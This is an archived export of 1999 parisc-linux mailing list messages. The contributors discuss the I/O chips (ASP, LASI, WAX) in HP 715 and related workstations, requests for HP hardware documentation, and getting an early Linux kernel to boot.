Original-Received: from web507.mail.yahoo.com (HELO web507.yahoomail.com) (128.11.68.74)
  by mailserv2.iuinc.com with SMTP; 20 Oct 1999 07:34:03 -0000
Original-Received: from [149.234.12.1] by web507.mail.yahoo.com; Wed, 20 Oct 1999 00:35:01 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:10048

Hi Alex,

I asked nearly the same question some months ago,
because I needed to understand which CONFIG options
should be set for my 715/33. 

Bill Katz from HP answered:

The 715/33 does NOT have either LASI or DINO. It uses
an older I/O chip known as ASP. ASP connects the
processor bus to several external chips, including the
NCR 53c710, Intel LAN and WD 16C552 (? I'm doing this
from memory) 2-serial/parallel chip. It uses the
PA7100 CPU which does not have GSC. 

And Mike Hibler answered:

We never had a 715/33 so I don't know anything about
them. But someone else said they had the ASP which is
the "original snakes" IO subsystem
(705/710/720/730/750). The ASP is quite similar to the
LASI, and there is plenty of code in the Mach sources.


Hit your HP sources up for: 
Corba/Coral I/O Subsystem External Reference
Specification 

Don't have a part or drawing number unfortunately. We
have version 1.43 from November 1990. Looks like it
came out of Cupertino. 

Hope that helps.
Ulrich 
 

--- Alex deVries <adevries@thepuffingroup.com> wrote:
> 
> I have two 715s now, one's a 715/75, the other a
> 715/50.
> 
> Exactly how's the IO connected on these boxes?  Does
> it actually have a
> Lasi on board?  I had a look inside, and couldn't
> find anything with the
> usual markings of a Lasi, although it might not be
> integrated.
> 
> - Alex
> 
> -- 
> Alex deVries <adevries@thepuffingroup.com>
> Vice President Engineering
> The Puffin Group
> 
>
---------------------------------------------------------------------------
> To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 

__________________________________________________
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What's in a 715?
Date: Wed, 20 Oct 1999 17:10:21 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <19991020171021.D25252@mencheca.ch.genedata.com>
References: <19991020073501.11967.rocketmail@web507.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619801 14627 80.91.229.3 (22 Nov 2014 01:30:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:01 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: Matthew.Wilcox@genedata.com  Wed Oct 20 09:09:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA03143
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Oct 1999 09:09:52 -0600
Original-Received: (qmail 17105 invoked by uid 15267); 20 Oct 1999 15:10:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17091 invoked from network); 20 Oct 1999 15:10:46 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 20 Oct 1999 15:10:46 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id RAA29329;
	Wed, 20 Oct 1999 17:10:22 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id RAA1729515;
	Wed, 20 Oct 1999 17:10:21 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11dxNd-00025cC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for adevries@thepuffingroup.com; Wed, 20 Oct 1999 17:10:21 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19991020073501.11967.rocketmail@web507.yahoomail.com>; from Ulrich Strelow on Wed, Oct 20, 1999 at 12:35:01AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10049

On Wed, Oct 20, 1999 at 12:35:01AM -0700, Ulrich Strelow wrote:
> Hi Alex,
> 
> I asked nearly the same question some months ago,
> because I needed to understand which CONFIG options
> should be set for my 715/33. 
> 
> Bill Katz from HP answered:
> 
> The 715/33 does NOT have either LASI or DINO. It uses
> an older I/O chip known as ASP. ASP connects the
> processor bus to several external chips, including the
> NCR 53c710, Intel LAN and WD 16C552 (? I'm doing this
> from memory) 2-serial/parallel chip. It uses the
> PA7100 CPU which does not have GSC. 

If you open the 715/33 up, it has chips called OLIN and SHINKO on the
board, as well as some unnamed chips.  Do either or both of these chips
implement ASP?  I gave Alex the details on these chips a couple of months
ago and last I heard they were on the list of documents we want from HP,
marked `desirable, but no urgency'.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What's in a 715?
Date: Wed, 20 Oct 1999 12:45:46 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910201237440.15070-100000@vodka.thepuffingroup.com>
References: <19991020171021.D25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619802 14651 80.91.229.3 (22 Nov 2014 01:30:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:02 +0000 (UTC)
Cc: Ulrich Strelow <ulrich_strelow@yahoo.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: adevries@thepuffingroup.com  Wed Oct 20 10:39:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA03717
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Oct 1999 10:39:04 -0600
Original-Received: (qmail 24076 invoked by uid 15267); 20 Oct 1999 16:39:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24069 invoked from network); 20 Oct 1999 16:39:58 -0000
Original-Received: from mrelay.bellglobal.com (198.235.216.100)
  by mailserv2.iuinc.com with SMTP; 20 Oct 1999 16:39:58 -0000
Original-Received: from vodka.thepuffingroup.com by mrelay.bellglobal.com
 (PMDF V5.1-12 #26722) with ESMTP id <0FJW00F3BU99PV@mrelay.bellglobal.com> for
 parisc-linux@thepuffingroup.com; Wed, 20 Oct 1999 12:39:13 -0400 (EDT)
In-reply-to: <19991020171021.D25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10050

On Wed, 20 Oct 1999, Matthew Wilcox wrote:
> On Wed, Oct 20, 1999 at 12:35:01AM -0700, Ulrich Strelow wrote:
> > Bill Katz from HP answered:
> > The 715/33 does NOT have either LASI or DINO. It uses
> > an older I/O chip known as ASP. ASP connects the
> > processor bus to several external chips, including the
> > NCR 53c710, Intel LAN and WD 16C552 (? I'm doing this
> > from memory) 2-serial/parallel chip. It uses the
> > PA7100 CPU which does not have GSC. 

So the conclusion here is that we really can't do 715 support without
hardware documentation on ASP.

> If you open the 715/33 up, it has chips called OLIN and SHINKO on the
> board, as well as some unnamed chips.  Do either or both of these chips
> implement ASP?  I gave Alex the details on these chips a couple of months
> ago and last I heard they were on the list of documents we want from HP,
> marked `desirable, but no urgency'.

IIRC, OLIN and SHINKO are just the chip manufacturers.

I'll remind HP that these docs are on the list.

- Alex


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] a WAX question.
Date: Wed, 20 Oct 1999 10:57:05 -0600 (MDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <199910201657.KAA14630@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619802 14659 80.91.229.3 (22 Nov 2014 01:30:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:02 +0000 (UTC)
To: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Wed Oct 20 10:56:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA04100
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Oct 1999 10:56:22 -0600
Original-Received: (qmail 32125 invoked by uid 15267); 20 Oct 1999 16:57:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32112 invoked from network); 20 Oct 1999 16:57:16 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 20 Oct 1999 16:57:16 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id KAA14630;
	Wed, 20 Oct 1999 10:57:05 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:10051

> Date: Wed, 20 Oct 1999 01:02:52 -0400 (EDT)
> From: Alex deVries <adevries@thepuffingroup.com>
> To: parisc-linux@thepuffingroup.com
> Subject: [parisc-linux] a WAX question.
> 
> ...
> Something that comes up quite a bit in those entries is WAX.  Is there
> actually a serial port on the WAX chip?  What can people tell me about
> this chip?
> 

WAX provides one rs232 port (compatible with NS16550A), HIL, HP-IB and
an "EISA converter."  I know it appears on the 712s, {715,725}/{80,100}
and J210 at the very least.  Doc that we have:

	External Reference Specification for the Wax I/O ASIC
	(aka, the Wax ASIC ERS)
	Rev 1.2, October 7, 1993
	Dwg. No. A-1FT4-9002-1

There is basic support for it in the Mach sources.


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What's in a 715?
Date: Wed, 20 Oct 1999 10:23:17 -0700 (PDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <199910201723.KAA19751@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619802 14662 80.91.229.3 (22 Nov 2014 01:30:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:02 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Wed Oct 20 11:22:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA04557
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Oct 1999 11:22:43 -0600
Original-Received: (qmail 13315 invoked by uid 15267); 20 Oct 1999 17:23:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13300 invoked from network); 20 Oct 1999 17:23:37 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 20 Oct 1999 17:23:37 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA26339
	for <parisc-linux@thepuffingroup.com>; Wed, 20 Oct 1999 11:23:29 -0600 (MDT)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id KAA11377 for <parisc-linux@thepuffingroup.com>; Wed, 20 Oct 1999 10:23:14 -0700 (PDT)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id KAA19751 for parisc-linux@thepuffingroup.com; Wed, 20 Oct 1999 10:23:17 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:10052

|On Wed, 20 Oct 1999, Matthew Wilcox wrote:
|> On Wed, Oct 20, 1999 at 12:35:01AM -0700, Ulrich Strelow wrote:
|> > Bill Katz from HP answered:
|> > The 715/33 does NOT have either LASI or DINO. It uses
|> > an older I/O chip known as ASP. ASP connects the
|> > processor bus to several external chips, including the
|> > NCR 53c710, Intel LAN and WD 16C552 (? I'm doing this
|> > from memory) 2-serial/parallel chip. It uses the
|> > PA7100 CPU which does not have GSC. 

A little more detail.  In the original snakes (720, 730, 750) the
ASP chip was used to glue everything together, and hooked the NCR
53c700, Intel LAN, WD 552 (serial + parallel) together, and provided
some missing features (DMA for parallel, PA interrupt controller, etc).

This was leveraged into the next generation of snakes (735, 715/33 /50 /75,
750).  I think these also contain "CD quality" audio.  The earlier snakes
had only a beeper.

LASI is the compaction of all of this (including the Intel LAN and 
NCR 53C710) into one ASIC, originally for cost reduction in the 712.

|
|So the conclusion here is that we really can't do 715 support without
|hardware documentation on ASP.

I suspect it will help.

|
|> If you open the 715/33 up, it has chips called OLIN and SHINKO on the
|> board, as well as some unnamed chips.  Do either or both of these chips
|> implement ASP?  I gave Alex the details on these chips a couple of months
|> ago and last I heard they were on the list of documents we want from HP,
|> marked `desirable, but no urgency'.
|
|IIRC, OLIN and SHINKO are just the chip manufacturers.
|
|I'll remind HP that these docs are on the list.

I've got the ERS for the 715s in question, and will try to get it cleaned
up and to John SOntag for reveiw by the lawyers and release.  I'm 
currently laying out a board, so I'm kinda swamped.  I've done the hard part
which is chasing down source code for the thing.  (Took days of digging
through PDM...) Any other HPite that 
wants a stab at it this week should contact me.  It's in Interleaf.

The earliest I could get this done is late next week.

	-Bill


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] different PA2.0 CPUs in the same box?
Date: Wed, 20 Oct 1999 11:57:08 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <199910201857.LAA28284@milano.cup.hp.com>
References: <199910191655.JAA08169@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619803 14668 80.91.229.3 (22 Nov 2014 01:30:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Original-X-From: grundler@cup.hp.com  Wed Oct 20 12:59:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA05682
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Oct 1999 12:59:36 -0600
Original-Received: (qmail 25158 invoked by uid 15267); 20 Oct 1999 18:59:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25151 invoked from network); 20 Oct 1999 18:59:36 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 20 Oct 1999 18:59:36 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by cosrel2.hp.com (8.9.3 (PHNE_18979)/8.8.5tis) with ESMTP id MAA09752
	for <parisc-linux@thepuffingroup.com>; Wed, 20 Oct 1999 12:58:08 -0600 (MDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id LAA28284; Wed, 20 Oct 1999 11:57:14 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 19 Oct 1999 09:55:50 PDT."
             <199910191655.JAA08169@chrome.rose.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10053

Kirk Bresniker wrote:
> Grant Grundler wrote:
> | The processors can run from a "system clock" and they all run synchronous.
> | No chance of "clock drift" since they run at exactly the same pace.
> | But on systems like 870, T-class and N-class, the processors are fed clock
> | signals from (similar but) different sources.  Each frequency domain will
> | slowly drift from the "average" and thus the processor clocks need to be
> | resyncronized regularly.
> | 
> 
> Eh? I can't speak to the T-Class, but N-Class processors (as well as
> A,B,C,D,E,F,G,H,I,J,K, and L) all run from a single clock source.

Kirk is right. T and V also run from a single clock source.
So no problem. I was confusing the discussions with what actually
got implemented.

my apologies,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] a WAX question.
Date: Wed, 20 Oct 1999 12:25:25 -0700 (PDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <199910201925.MAA19900@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619803 14677 80.91.229.3 (22 Nov 2014 01:30:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:03 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Wed Oct 20 13:24:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA06132
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Oct 1999 13:24:44 -0600
Original-Received: (qmail 3935 invoked by uid 15267); 20 Oct 1999 19:25:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3927 invoked from network); 20 Oct 1999 19:25:38 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 20 Oct 1999 19:25:38 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id NAA25126
	for <parisc-linux@thepuffingroup.com>; Wed, 20 Oct 1999 13:25:33 -0600 (MDT)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id MAA24899 for <parisc-linux@thepuffingroup.com>; Wed, 20 Oct 1999 12:25:22 -0700 (PDT)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id MAA19900 for parisc-linux@thepuffingroup.com; Wed, 20 Oct 1999 12:25:25 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:10054

|> Date: Wed, 20 Oct 1999 01:02:52 -0400 (EDT)
|> From: Alex deVries <adevries@thepuffingroup.com>
|> To: parisc-linux@thepuffingroup.com
|> Subject: [parisc-linux] a WAX question.
|> 
|> ...
|> Something that comes up quite a bit in those entries is WAX.  Is there
|> actually a serial port on the WAX chip?  What can people tell me about
|> this chip?
|> 
|
|WAX provides one rs232 port (compatible with NS16550A), HIL, HP-IB and
|an "EISA converter."  I know it appears on the 712s, {715,725}/{80,100}
|and J210 at the very least.  Doc that we have:

Wax does have an RS232 port.  It uses the same Megacell as LASI, which
is basically a 16C550.

712s do NOT contain Wax, and have only 1 RS232 port.

Wax provides the second RS232 port, as well as HIL and EISA in 715s,
725s, J200s, J210s, and pretty much any box that has EISA slots.
(Including C110s).  The HPIB support in Wax was never used in a product.

(I used it in a HP internal board, and found I was the first.)

The HIL in WAX is an integration of the HIL chip that was used in 
earlier (pre-PS2) workstations such as 720, 730, 735, early 715s.

It also contains some real-time timers that were originally in another ASIC
in the 742 (50 MHZ, PA7100) VME computer board.  I believe these timers
are also in the TIMI GSC -> VME chip, so they were probably never used
in WAX either.

|
|	External Reference Specification for the Wax I/O ASIC
|	(aka, the Wax ASIC ERS)
|	Rev 1.2, October 7, 1993
|	Dwg. No. A-1FT4-9002-1

THis is also what I have.
|
|There is basic support for it in the Mach sources.

	-Bill


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Magne =?iso-8859-1?Q?=D8stlyngen?= <magne@spacetec.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So you wanna get to a prompt, eh?
Date: Thu, 21 Oct 1999 12:25:15 +0200
Organization: KSPT
Lines: 30
Approved: news@gmane.org
Message-ID: <380EEA0B.F5E469DB@spacetec.no>
References: <Pine.LNX.4.10.9910191607110.10378-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619804 14679 80.91.229.3 (22 Nov 2014 01:30:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: magne@spacetec.no  Thu Oct 21 04:24:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA09625
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 04:24:26 -0600
Original-Received: (qmail 2458 invoked by uid 15267); 21 Oct 1999 10:25:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2447 invoked from network); 21 Oct 1999 10:25:21 -0000
Original-Received: from jupiter.spacetec.no (HELO spacetec.no) (192.51.5.11)
  by mailserv2.iuinc.com with SMTP; 21 Oct 1999 10:25:21 -0000
Original-Received: from spacetec.no (metis.spacetec.no [192.51.5.180])
	by spacetec.no (8.9.1a/8.9.1) with ESMTP id MAA06705
	for <parisc-linux@thepuffingroup.com>; Thu, 21 Oct 1999 12:25:15 +0200
Original-Sender: magne@spacetec.no
X-Mailer: Mozilla 4.7 [en] (X11; I; IRIX 6.5 IP32)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10055

> I've spent most of the afternoon working on the patches sent in by Thomas
> Bogendoerfer, and have extended them to get the kernel working and to a
> functional sash prompt.

> And for those you out there who are interested in helping us test the
> kernel, I've also posted a functional kernel image, for you try. You can
> find it at:

> And not wanted to leave much as an excercise for the reader, I've also
> posted the ramdisk that I used, which has been extended to include
> /dev/console, etc.

Is the ramdisk included in the kernel-image? When I boot the kernel,
I get 'no ramdisk'.

Of course, I don't get further than 'Transferring control to kernel'..
:(
I thought I had a 715, but no, it was a 710 (Bushmaster), and that seems
to make a big difference.

Is anyone working on support for the 700?  I could do some work there,
if it was possible to compile the kernel on linux.  Is anything being
done on that? (What was the problem?)

The Image-990705 kernel worked. What changed from that to Image-990929?

-- 
Magne stlyngen <magne@spacetec.no>
                <magne@skybert.org>


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So you wanna get to a prompt, eh?
Date: Thu, 21 Oct 1999 11:11:36 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910211105330.17129-100000@vodka.thepuffingroup.com>
References: <380EEA0B.F5E469DB@spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619804 14683 80.91.229.3 (22 Nov 2014 01:30:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Magne =?iso-8859-1?Q?=D8stlyngen?= <magne@spacetec.no>
Original-X-From: adevries@thepuffingroup.com  Thu Oct 21 09:04:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA10886
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 09:04:33 -0600
Original-Received: (qmail 25713 invoked by uid 15267); 21 Oct 1999 15:05:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25705 invoked from network); 21 Oct 1999 15:05:29 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 21 Oct 1999 15:05:29 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id LAA17177;
	Thu, 21 Oct 1999 11:11:36 -0400
In-Reply-To: <380EEA0B.F5E469DB@spacetec.no>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id JAA10886
Xref: news.gmane.org gmane.linux.ports.parisc:10056


On Thu, 21 Oct 1999, Magne [iso-8859-1] stlyngen wrote:
> Is the ramdisk included in the kernel-image? When I boot the kernel,
> I get 'no ramdisk'.

To build the kernel right now, you have to download a ramdisk from
ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks or similiar.

> Of course, I don't get further than 'Transferring control to kernel'..
> :(
> I thought I had a 715, but no, it was a 710 (Bushmaster), and that seems
> to make a big difference.

I had that problem with my 715 too, but there was an alignment mistake
that I made that Philipp fixed yesterday.  You might want to update your
tree and build it again.

> Is anyone working on support for the 700?  I could do some work there,
> if it was possible to compile the kernel on linux.  Is anything being
> done on that? (What was the problem?)

The 700 has an ancient IO architecture that we don't have any
documentation on, so it's not high on the list of priorities.  However, if
someone has patches to support it, we'd be happy to apply them.

As for cross compiling... we're forced to use HPUX because we don't have a
reasonable and functioning cross linker.  More on that later.

- Alex


From - Thu Nov 08 21:16:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] So you wanna get to a prompt, eh?
Date: Thu, 21 Oct 1999 17:13:23 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <19991021171323.A17549@alpha.franken.de>
References: <Pine.LNX.4.10.9910191607110.10378-100000@localhost.localdomain> <380EEA0B.F5E469DB@spacetec.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619805 14692 80.91.229.3 (22 Nov 2014 01:30:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: =?iso-8859-1?Q?Magne_=D8stlyngen?= <magne@spacetec.no>
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Thu Oct 21 09:40:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA11322
	for <parisc-linux@puffin.external.hp.com>; Thu, 21 Oct 1999 09:40:26 -0600
Original-Received: (qmail 7768 invoked by uid 15267); 21 Oct 1999 15:41:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7761 invoked from network); 21 Oct 1999 15:41:22 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 21 Oct 1999 15:41:22 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
